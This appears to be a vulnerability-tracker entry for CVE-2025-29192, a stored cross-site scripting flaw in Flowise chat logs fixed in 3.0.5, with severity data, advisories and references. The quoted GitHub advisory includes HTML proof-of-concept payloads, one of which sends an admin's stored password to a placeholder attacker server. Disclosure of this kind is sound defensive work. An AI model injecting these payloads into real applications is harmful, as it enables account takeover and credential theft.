CVE-2025-29192
mediumpriority · track · 24EPSS 0.004 · 35 %ileDEEUUSEPSS · scored 2026-10-27
Flowise before 3.0.5 allows XSS via a FORM element and an INPUT element when an admin views the chat log.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 5.3–8.2
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (5)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2025-2197Flowise: Mehrere Schwachstellen ermöglichen Cross-Site ScriptingDeutsch2025-10-05csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Flowise ausnutzen, um einen Cross-Site Scripting Angriff durchzuführen.
- GHSA-7r4h-vmj9-wg42Flowise Stored XSS vulnerability through logs in chatbot2025-10-03ghsa · osvUS
### Description In the chat log, tags like input and form are allowed. This makes a potential vulnerability where an attacker could inject malicious HTML into the log via prompts. When an admin views the log containing the malicious HTML, the attacker could steal the admin's credentials or sensitive information with stored Cross Site Scripting. ### PoC ```html <form> <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:alert('XSS!!!');" /> </form> ``` If the above HTML code is entered, a very large img gets injected into the log. When an admin clicks the generated img, it alerts ‘XSS!!!’. It means stored xss is able in the chatbot. ```html <form> <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:window.location.href='<YOUR_REQUESTBIN_SERVER>?passwd=' + encodeURIComponent(localStorage.getItem('password'));" /> </form> ``` So when an admin clicks the img that generated by above html code, it sends a request, including credentials, to the attacker's IP. If attacker steal admin’s token, attacker can login as the admin in the apps. ### Poc Video [poc](https://drive.google.com/file/d/1_3HwU0MxZ4HfJqpx2mOBjxf-WSCMM_4o/view?usp=sharing) ### Impact An attacker could hijack an admin account in published chatbot. This can allow attacker to view chat logs of other users and API keys.
also known as (4)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (10)
External citations — patches, advisories, analysis.
- https://github.com/FlowiseAI/Flowise/pull/4905cnnvd
- https://github.com/FlowiseAI/Flowise/releasesPatchcnnvd
- https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.5cnnvd
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7r4h-vmj9-wg42cnnvd
- https://github.com/FlowiseAI/Flowise/pull/4905enisa_euvd
- https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.5enisa_euvd
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7r4h-vmj9-wg42enisa_euvd
- https://github.com/FlowiseAI/Flowise/pull/4905Patchnvd
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